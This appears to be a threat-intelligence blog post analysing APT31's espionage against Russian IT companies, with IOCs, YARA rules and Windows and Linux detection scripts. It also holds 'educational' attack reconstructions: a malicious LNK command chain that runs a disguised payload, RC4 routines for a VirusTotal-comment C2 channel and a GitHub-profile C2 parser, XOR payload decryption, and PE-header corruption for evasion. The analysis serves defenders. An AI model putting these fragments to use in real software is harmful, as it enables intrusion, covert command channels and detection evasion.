Home Framework Threat Intel APT Encyclopedia Blog
Back to Blog
Threat Intel Jan 2026 25 min read

Judgment Panda: When China Spies on its "Ally" Russia

APT31 vs Russia - Analysis and Technical Reconstruction (2022-2025)

APT31 China Russia Cyberespionage Supply Chain Cloud C2

"In cyberespionage, there are no friends, only interests."

In November 2025, Positive Technologies published a detailed report revealing that APT31, a Chinese state-sponsored threat actor, had been conducting espionage operations against Russian IT companies for over three years. This post analyzes their findings and provides educational reconstructions of the techniques described.

Methodology Note

This analysis is based on the public report "Judgment Panda: APT31 Today" by Positive Technologies (November 2025), Kaspersky's EastWind campaign research (August 2024), and the US DOJ indictment of APT31 members (March 2024).

Code samples in the "Technical Reconstruction" sections are educational implementations demonstrating the described techniques—not direct reverse engineering of captured samples. They are based on documented behaviors and common malware patterns.

IOCs and file hashes marked as "verified" come directly from cited reports.

What We Know: Verified Intelligence

This section contains only information directly from published reports and official sources.

Attribution

APT31 (also known as Judgment Panda, Zirconium, Violet Typhoon, Bronze Vinewood) is a Chinese state-sponsored threat actor linked to the Ministry of State Security (MSS), specifically the Hubei State Security Department operating through the front company Wuhan Xiaoruizhi Science and Technology Company (Wuhan XRZ).

This attribution is supported by:

Attribute Detail
Origin People's Republic of China
Government Affiliation Ministry of State Security (MSS)
Front Company Wuhan Xiaoruizhi Science and Technology (Wuhan XRZ)
Active Since ~2010
Primary Targets Government, defense, technology sectors globally

Previous operations attributed to APT31:

Campaign Timeline

According to Positive Technologies, the campaign against Russian targets followed this timeline:

Late 2022       │  Initial compromise of Russian IT contractor
January 2023    │  Major escalation during New Year holidays
July 2024       │  Kaspersky detects related "EastWind" campaign  
December 2024   │  New phishing wave observed
July 2025       │  Positive Technologies begins investigation
November 2025   │  Public report released

Key observations from the report:

Confirmed Toolset

Positive Technologies identified the following malware families:

Tool Name Type Notable Feature
CloudyLoader Loader DLL side-loading via BugSplat
VtChatter Backdoor Uses VirusTotal comments as C2
LocalPlugX Backdoor Server-mode on ports 53/5355
GrewApacha RAT C2 config in GitHub profiles
OneDriveDoor Backdoor Microsoft OneDrive as C2
CloudSorcerer Backdoor Multi-cloud C2 (Yandex, Dropbox)
AufTime Backdoor Linux targeting, WolfSSL
COFFProxy Loader Beacon Object File execution
YaLeak Exfiltration Uploads to Yandex Disk

Verified IOCs

The following indicators come directly from the Positive Technologies report:

File Hashes (from report)

CloudyLoader:
MD5:    e6e73c59eb8be5fa2605b17552179c2f
SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b

VtChatter-related files:
SHA256: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
SHA256: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb

Attacker Infrastructure (from report)

VirusTotal account: [email protected] (created Nov 15, 2022)
GitHub user: Range1992
Repository: scrcpyClone

File System Paths (from report)

C:\Users\Public\Downloads\
C:\ProgramData\Apacha\
C:\ProgramData\NVIDIA\NVIDIADEBUG.dll
C:\Windows\Setup\Scripts\ErrorHandler.cmd

Scheduled Task Names (from report)

YandexDisk_Servers
GoogleUpdater
GoogleRecovery
NVIDIADEBUG
WinDeviceSync
Crashpad_Server
Yandexstart_Server
7zup_Server
DataMAVServer
LAPSClientUp

Cryptographic Constants (from report)

XOR key (CloudyLoader): AB CD 76 A5
RC4 key (VtChatter): "usde-092d"
RC4 key (GrewApacha): 03 07 A0 B0 E3 80 88 77
Markers (GrewApacha): QQNSR4u / ZsNpk7Y

Technical Reconstruction: How These Techniques Work

⚠️ Disclaimer

The code in this section represents educational reconstructions based on described behaviors and standard malware techniques. These are not reverse-engineered from actual APT31 samples.

Initial Access: Malicious LNK Files

APT31 used spear-phishing emails with RAR archives containing malicious LNK (shortcut) files. LNK files can contain embedded commands that execute when the shortcut is opened—attackers abuse this to run PowerShell or cmd.exe commands while displaying a decoy document to avoid suspicion.

:: Example of malicious LNK payload structure
:: This pattern matches the described behavior

"C:\Windows\System32\cmd.exe" /c ^
    echo F | xcopy /h /y "%cd%\Docs\Docs" "C:\Users\Public\Downloads\" ^
    & start "" "%cd%\Docs\" ^
    & ren "C:\Users\Public\Downloads\Document.pdf" payload.exe ^
    & ren "C:\Users\Public\Downloads\Library.pdf" malicious.dll ^
    & "C:\Users\Public\Downloads\payload.exe"

Breakdown of techniques used:

DLL Side-Loading

CloudyLoader abuses a legitimate BugSplat application (signed executable) to load a malicious DLL named BugSplatRc64.dll. This technique exploits how Windows applications load dynamic libraries—when a legitimate signed application looks for a DLL, Windows searches specific directories in order. Attackers place a malicious DLL with the expected name in a location that gets searched before the legitimate one.

Legitimate scenario:
    BugSplatApp.exe → loads → C:\Program Files\BugSplat\BugSplatRc64.dll ✓

Attack scenario:
    C:\Users\Public\Downloads\
        ├── BugSplatApp.exe (legitimate, signed)
        ├── BugSplatRc64.dll (MALICIOUS - loaded first due to search order)
        └── try (encrypted payload)

Why it's effective:

API Hashing for Evasion

CloudyLoader uses dynamic API resolution with custom hashing to avoid static detection. Instead of importing Windows API functions normally (which leaves strings in the binary), the malware computes hashes of function names at runtime and compares against pre-computed values.

"""
Educational example: Common API hashing implementation

This demonstrates the general technique, not APT31's specific algorithm.
Real implementations vary in hash function and seed values.
"""

def simple_api_hash(name: bytes, seed: int = 0) -> int:
    """
    Simple rotating hash - educational example.
    Real malware uses more complex algorithms to avoid collisions.
    """
    h = seed
    for byte in name:
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF  # Rotate right 13
        h = (h + byte) & 0xFFFFFFFF
    return h


def ror(val: int, n: int, width: int = 32) -> int:
    """Rotate right operation - common in hash functions"""
    return ((val >> n) | (val << (width - n))) & ((1 << width) - 1)


def rol(val: int, n: int, width: int = 32) -> int:
    """Rotate left operation"""
    return ((val << n) | (val >> (width - n))) & ((1 << width) - 1)


# Example: resolving functions at runtime
def resolve_api_by_hash(target_hash: int, dll_exports: dict) -> str:
    """
    Searches DLL exports for a function matching the target hash.
    This is how malware finds APIs without string references.
    """
    for func_name, func_addr in dll_exports.items():
        if simple_api_hash(func_name.encode()) == target_hash:
            return func_name
    return None

Common syscalls resolved this way (for process injection):

# These are the typical low-level functions malware needs
INJECTION_SYSCALLS = [
    "NtAllocateVirtualMemory",   # Allocate memory in target
    "NtWriteVirtualMemory",      # Write shellcode
    "NtProtectVirtualMemory",    # Make memory executable
    "NtCreateThreadEx",          # Start execution
    "NtOpenProcess",             # Get process handle
]

XOR Payload Encryption

CloudyLoader's payload file uses XOR encryption with a 4-byte key (AB CD 76 A5). XOR encryption is simple but effective for evading static signatures—each byte is XORed with a repeating key pattern.

"""
Educational example: XOR decryption with repeating key

The key AB CD 76 A5 is from the Positive Technologies report.
"""

def xor_decrypt(data: bytes, key: bytes) -> bytes:
    """
    Simple XOR decryption with repeating key.
    
    This is the most common payload obfuscation in malware because:
    - Minimal code footprint
    - Fast execution  
    - Defeats basic signature scans
    - Easy to implement in any language
    """
    result = bytearray()
    key_len = len(key)
    
    for i, byte in enumerate(data):
        result.append(byte ^ key[i % key_len])
    
    return bytes(result)


# Using the key from the report
CLOUDYLOADER_KEY = bytes([0xAB, 0xCD, 0x76, 0xA5])

def decrypt_cloudyloader_payload(encrypted_data: bytes) -> bytes:
    """Decrypt CloudyLoader payload using reported XOR key"""
    return xor_decrypt(encrypted_data, CLOUDYLOADER_KEY)

Multi-stage structure (described in report):

Decrypted payload structure:
├── Stage 1: Small shellcode stub
│   └── Decrypts Stage 2 with second XOR key
├── Stage 2: Reflective loader  
│   └── Loads final DLL from memory (no disk touch)
└── Stage 3: Main implant (Cobalt Strike beacon)

Cloud C2: VirusTotal as Command Channel

VtChatter uses VirusTotal file comments as a bidirectional C2 channel. Commands are encrypted with RC4 (key: usde-092d), encoded in Base64, and posted as comments on specific files.

Why this technique is effective:

PHASE 1: SETUP
───────────────────────────────────────────────────
Attacker creates VT account: [email protected]
Uploads any file (or picks an existing one)
Saves the file's SHA256 hash
Hardcodes hash + API key into the malware

PHASE 2: SEND COMMAND
───────────────────────────────────────────────────
Attacker wants to run: "whoami"
Encrypts it with double-layer RC4
Encodes result in Base64
Posts as a "comment" on the VT file

What appears on VirusTotal: "SJemLS14Qq2KF4cNVkn/cc5v"
(Looks like random analysis notes)

PHASE 3: MALWARE READS COMMAND
───────────────────────────────────────────────────
VtChatter queries VirusTotal API every 2 hours
Retrieves all comments on the target file
Decrypts any new commands
Executes: whoami
Captures output: "windows-PC\username"

PHASE 4: SEND RESPONSE
───────────────────────────────────────────────────
Malware encrypts the command output
Posts as another comment on the same file
Attacker reads VirusTotal and decrypts response

Here's what the network traffic looks like to defenders—completely innocuous:

GET /api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments HTTP/1.1
Host: www.virustotal.com
x-apikey: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

A SOC analyst would see: "Someone's security script is checking file reputation on VirusTotal." Nothing suspicious.

RC4 Decryption Implementation

"""
Educational reconstruction of cloud C2 via comments.

Based on the described behavior in the Positive Technologies report.
The RC4 key "usde-092d" is from the report.
"""

import base64


def rc4_crypt(key: bytes, data: bytes) -> bytes:
    """
    Standard RC4 stream cipher.
    Used for both encryption and decryption (symmetric).
    """
    # Key Scheduling Algorithm (KSA)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    
    # Pseudo-Random Generation Algorithm (PRGA)
    i = j = 0
    result = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        result.append(byte ^ S[(S[i] + S[j]) % 256])
    
    return bytes(result)


# Key from Positive Technologies report
VTCHATTER_RC4_KEY = b"usde-092d"


def encrypt_command(command: str) -> str:
    """
    Encrypt a command for posting to VirusTotal.
    Returns Base64 string suitable for a comment.
    """
    encrypted = rc4_crypt(VTCHATTER_RC4_KEY, command.encode('utf-8'))
    return base64.b64encode(encrypted).decode('ascii')


def decrypt_command(b64_comment: str) -> str:
    """
    Decrypt a command from a VirusTotal comment.
    """
    encrypted = base64.b64decode(b64_comment)
    decrypted = rc4_crypt(VTCHATTER_RC4_KEY, encrypted)
    return decrypted.decode('utf-8', errors='ignore')

Operational details from report:

Cloud C2: GitHub Profile Beaconing

GrewApacha fetches C2 configuration from GitHub user profiles. The config is Base64-encoded between markers (QQNSR4u / ZsNpk7Y) in the profile bio, then RC4-decrypted with key 03 07 A0 B0 E3 80 88 77.

Why GitHub works as C2:

"""
Educational reconstruction of GitHub profile C2.

Markers and RC4 key from Positive Technologies report.
"""

import re
import base64


# From the report
GREWAPACHA_MARKERS = ("QQNSR4u", "ZsNpk7Y")
GREWAPACHA_RC4_KEY = bytes([0x03, 0x07, 0xA0, 0xB0, 0xE3, 0x80, 0x88, 0x77])


def extract_c2_config(profile_page: str) -> dict:
    """
    Extract and decrypt C2 config from a GitHub profile.
    
    The config is hidden in the bio between marker strings,
    making it look like random text to casual observers.
    """
    start_marker, end_marker = GREWAPACHA_MARKERS
    
    # Find encoded data between markers
    pattern = f'{start_marker}(.+?){end_marker}'
    match = re.search(pattern, profile_page)
    
    if not match:
        return None
    
    # Decode and decrypt
    encoded_config = match.group(1)
    encrypted = base64.b64decode(encoded_config)
    decrypted = rc4_crypt(GREWAPACHA_RC4_KEY, encrypted)
    
    # Parse config structure (speculative based on common patterns)
    return {
        'c2_server': decrypted[0:64].rstrip(b'\x00').decode(),
        'port': int.from_bytes(decrypted[64:66], 'little'),
        'interval': int.from_bytes(decrypted[66:70], 'little'),
    }


# Identified infrastructure from report:
# GitHub user: Range1992
# Repository: scrcpyClone

Keylogger Data Obfuscation

LocalPlugX stores keylogger data in files named ntuser.dat.LOG1 (keystrokes) and ntuser.dat.LOG2 (clipboard), using simple XOR obfuscation. These filenames mimic Windows registry transaction logs that legitimately exist in user profile directories—a clever disguise to avoid casual detection during forensic analysis.

"""
Educational example of keylogger data obfuscation.

The technique of disguising logs as Windows registry files
is common in malware to avoid casual detection.
"""

def obfuscate_keylog(plaintext: str, xor_byte: int = 0x58) -> bytes:
    """
    Simple single-byte XOR obfuscation.
    
    This isn't encryption—it's obfuscation to avoid
    plaintext strings appearing in forensic analysis.
    """
    data = plaintext.encode('utf-16-le')  # Windows uses UTF-16
    return bytes(b ^ xor_byte for b in data)


def deobfuscate_keylog(obfuscated: bytes, xor_byte: int = 0x58) -> str:
    """Reverse the obfuscation to recover keystrokes"""
    deobfuscated = bytes(b ^ xor_byte for b in obfuscated)
    return deobfuscated.decode('utf-16-le', errors='ignore')


# File locations from report:
# C:\Users\\ntuser.dat.LOG1  - Keystrokes
# C:\Users\\ntuser.dat.LOG2  - Clipboard

PE Header Manipulation

OneDriveDoor modifies PE magic bytes to evade file type detection. By corrupting the standard MZ and PE signatures, the malware prevents security tools from recognizing executables and stops accidental execution until headers are restored.

"""
Educational example of PE header manipulation.

Malware sometimes modifies standard headers to:
- Evade file type detection
- Prevent accidental execution
- Bypass security tools that check magic bytes
"""

# Standard PE headers
MZ_MAGIC = b'MZ'           # DOS header magic (0x5A4D)
PE_MAGIC = b'PE\x00\x00'   # PE signature (0x50450000)

# Modified values (from report description)
MODIFIED_MZ = bytes([0x11, 0x22])
MODIFIED_PE = bytes([0x33, 0x44])


def corrupt_pe_headers(pe_data: bytearray) -> bytearray:
    """
    Corrupt PE headers to evade detection.
    File won't execute until headers are restored.
    """
    modified = bytearray(pe_data)
    
    # Corrupt MZ header
    if modified[0:2] == MZ_MAGIC:
        modified[0:2] = MODIFIED_MZ
    
    # Find and corrupt PE signature
    pe_offset = int.from_bytes(modified[0x3C:0x40], 'little')
    if modified[pe_offset:pe_offset+2] == b'PE':
        modified[pe_offset:pe_offset+2] = MODIFIED_PE
    
    return modified


def restore_pe_headers(corrupted_data: bytearray) -> bytearray:
    """Restore original PE headers for execution"""
    restored = bytearray(corrupted_data)
    
    # Restore MZ
    if restored[0:2] == MODIFIED_MZ:
        restored[0:2] = MZ_MAGIC
    
    # Restore PE
    pe_offset = int.from_bytes(restored[0x3C:0x40], 'little')
    if restored[pe_offset:pe_offset+2] == MODIFIED_PE:
        restored[pe_offset:pe_offset+2] = b'PE'
    
    return restored

Detection and Hunting

The following detection content is based on verified IOCs from the Positive Technologies report.

YARA Rules

/*
 * APT31 Detection Rules
 * Based on IOCs from Positive Technologies "Judgment Panda" report
 */

rule APT31_CloudyLoader_Indicators {
    meta:
        description = "Detects APT31 CloudyLoader based on reported constants"
        author = "Threat Research"
        reference = "Positive Technologies - Judgment Panda Report 2025"
        hash = "e6e73c59eb8be5fa2605b17552179c2f"
        
    strings:
        // XOR key from report
        $xor_key = { AB CD 76 A5 }
        // Mutex from report
        $mutex = "BugRpt_A85" ascii wide
        // DLL name used in side-loading
        $dllname = "BugSplatRc64.dll" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and
        filesize < 10MB and
        any of them
}


rule APT31_VtChatter_Indicators {
    meta:
        description = "Detects VtChatter based on reported indicators"
        author = "Threat Research"
        
    strings:
        // RC4 key from report
        $rc4_key = "usde-092d" ascii wide
        // VirusTotal API patterns
        $vt_api = "virustotal.com/api" ascii wide nocase
        $vt_comments = "/comments" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and
        ($rc4_key or ($vt_api and $vt_comments))
}


rule APT31_LocalPlugX_Indicators {
    meta:
        description = "Detects LocalPlugX based on reported artifacts"
        author = "Threat Research"
        
    strings:
        // Named pipes from report
        $pipe_x = "\\\\.\\PIPE\\X" ascii wide
        $pipe_y = "\\\\.\\PIPE\\Y" ascii wide
        // Keylogger files from report
        $keylog1 = "ntuser.dat.LOG1" ascii wide
        $keylog2 = "ntuser.dat.LOG2" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and
        (any of ($pipe*) or any of ($keylog*))
}


rule APT31_GrewApacha_Indicators {
    meta:
        description = "Detects GrewApacha based on reported markers"
        author = "Threat Research"
        
    strings:
        // C2 config markers from report
        $marker_start = "QQNSR4u" ascii wide
        $marker_end = "ZsNpk7Y" ascii wide
        // RC4 key from report
        $rc4_key = { 03 07 A0 B0 E3 80 88 77 }
        
    condition:
        uint16(0) == 0x5A4D and
        (all of ($marker*) or $rc4_key)
}


rule APT31_OneDriveDoor_Indicators {
    meta:
        description = "Detects OneDriveDoor based on reported indicators"
        author = "Threat Research"
        
    strings:
        // Mutex from report
        $mutex = "7ijPFUKNV8QRoGVo" ascii wide
        // Microsoft Graph API
        $graph_api = "graph.microsoft.com" ascii wide nocase
        $onedrive = "/me/drive" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and
        ($mutex or ($graph_api and $onedrive))
}

PowerShell Detection Script

<#
.SYNOPSIS
    APT31 Indicator Detection Script
    
.DESCRIPTION
    Checks for indicators from the Positive Technologies "Judgment Panda" report.
    Run with administrative privileges for full coverage.
#>

Write-Host "============================================" -ForegroundColor Cyan
Write-Host "  APT31 Indicator Detection Script" -ForegroundColor Cyan
Write-Host "============================================" -ForegroundColor Cyan

$findings = @()

# Check 1: Known malicious scheduled task names (from report)
Write-Host "[*] Checking scheduled tasks..." -ForegroundColor Yellow

$malicious_tasks = @(
    "YandexDisk_Servers",
    "GoogleUpdater", 
    "GoogleRecovery",
    "NVIDIADEBUG",
    "WinDeviceSync",
    "Crashpad_Server",
    "Yandexstart_Server",
    "7zup_Server",
    "DataMAVServer",
    "LAPSClientUp"
)

foreach ($taskname in $malicious_tasks) {
    $task = Get-ScheduledTask -TaskName $taskname -ErrorAction SilentlyContinue
    if ($task) {
        Write-Host "[CRITICAL] Malicious task found: $taskname" -ForegroundColor Red
        $findings += "Scheduled Task: $taskname"
    }
}

# Check 2: Hidden scheduled tasks (no Security Descriptor)
Write-Host "[*] Checking for hidden tasks..." -ForegroundColor Yellow

$taskPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree"
if (Test-Path $taskPath) {
    Get-ChildItem $taskPath -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
        $sd = (Get-ItemProperty $_.PSPath -Name "SD" -ErrorAction SilentlyContinue).SD
        if (-not $sd) {
            Write-Host "[WARNING] Hidden task (no SD): $($_.PSChildName)" -ForegroundColor Yellow
            $findings += "Hidden Task: $($_.PSChildName)"
        }
    }
}

# Check 3: Suspicious file paths (from report)
Write-Host "[*] Checking suspicious paths..." -ForegroundColor Yellow

$suspicious_paths = @(
    "C:\ProgramData\Apacha",
    "C:\ProgramData\NVIDIA\NVIDIADEBUG.dll",
    "C:\Windows\Setup\Scripts\ErrorHandler.cmd"
)

foreach ($path in $suspicious_paths) {
    if (Test-Path $path) {
        Write-Host "[CRITICAL] Suspicious path found: $path" -ForegroundColor Red
        $findings += "Path: $path"
    }
}

# Check 4: LocalPlugX keylogger files
Get-ChildItem -Path C:\Users -Recurse -Filter "ntuser.dat.LOG*" -ErrorAction SilentlyContinue |
    Where-Object { $_.DirectoryName -notmatch "AppData" } |
    ForEach-Object {
        Write-Host "[CRITICAL] Potential keylogger file: $($_.FullName)" -ForegroundColor Red
        $findings += "Keylogger: $($_.FullName)"
    }

# Summary
Write-Host "`n============================================" -ForegroundColor Cyan
if ($findings.Count -gt 0) {
    Write-Host "[!] $($findings.Count) potential indicators found!" -ForegroundColor Red
} else {
    Write-Host "[+] No indicators detected." -ForegroundColor Green
}

Linux Detection Script

#!/bin/bash
#
# APT31 AufTime Detection Script for Linux
# Based on Positive Technologies "Judgment Panda" report
#

echo "============================================"
echo "  APT31 AufTime Detection Script"
echo "============================================"

FINDINGS=0

# Check 1: Shared memory indicator (from report)
echo "[*] Checking shared memory..."
if ls -la /dev/shm/ 2>/dev/null | grep -q "shd_mem_SE0v0"; then
    echo "[CRITICAL] Found APT31 shared memory: /dev/shm/shd_mem_SE0v0"
    ((FINDINGS++))
fi

# Check 2: Fake kernel threads
echo "[*] Checking for masquerading processes..."
ps aux 2>/dev/null | grep -E "kworker|migration" | grep -v "\[" | while read line; do
    echo "[CRITICAL] Suspicious process mimicking kernel thread:"
    echo "    $line"
    ((FINDINGS++))
done

# Check 3: Suspicious 'time' binaries
echo "[*] Checking for suspicious 'time' binaries..."
REAL_TIME=$(which time 2>/dev/null)

find / -name "time" -type f -executable 2>/dev/null | while read binary; do
    if [ "$binary" != "$REAL_TIME" ] && [ "$binary" != "/usr/bin/time" ]; then
        if file "$binary" 2>/dev/null | grep -q "ELF"; then
            echo "[CRITICAL] Suspicious 'time' binary: $binary"
            ((FINDINGS++))
        fi
    fi
done

echo "============================================"
if [ $FINDINGS -gt 0 ]; then
    echo "[!] $FINDINGS potential indicators found!"
else
    echo "[+] No indicators detected."
fi

Indicators of Compromise

File Hashes

CloudyLoader DLL:
MD5:    e6e73c59eb8be5fa2605b17552179c2f
SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b

VtChatter Target Files:
SHA256: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
SHA256: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb

Attacker Infrastructure

GitHub: Range1992 / scrcpyClone
VirusTotal: planningmid ([email protected])
Cobalt Strike C2: Moeodincovo[.]com:443

File System Artifacts

C:\Users\Public\Downloads\        (staging directory)
C:\ProgramData\Apacha\            (malware installation)
C:\ProgramData\NVIDIA\NVIDIADEBUG.dll
C:\Windows\Setup\Scripts\ErrorHandler.cmd

Scheduled Tasks

YandexDisk_Servers, GoogleUpdater, GoogleRecovery, NVIDIADEBUG,
WinDeviceSync, Crashpad_Server, Yandexstart_Server, 7zup_Server,
Appvservers, WPDsync, DataMAVServer, LAPSClientUp, PretonDebug

Mutexes and Named Pipes

BugRpt_A85          (CloudyLoader)
7ijPFUKNV8QRoGVo    (OneDriveDoor)
\\.\PIPE\X<PID>     (LocalPlugX)
\\.\PIPE\Y          (PlugY)

Lessons Learned

For Defenders

For Threat Intelligence Teams

For the Industry

This campaign demonstrates:

References

Primary Sources:

Additional Context:

Questions or Feedback?

This article was created for educational and defensive security purposes. Code samples are educational reconstructions demonstrating described techniques.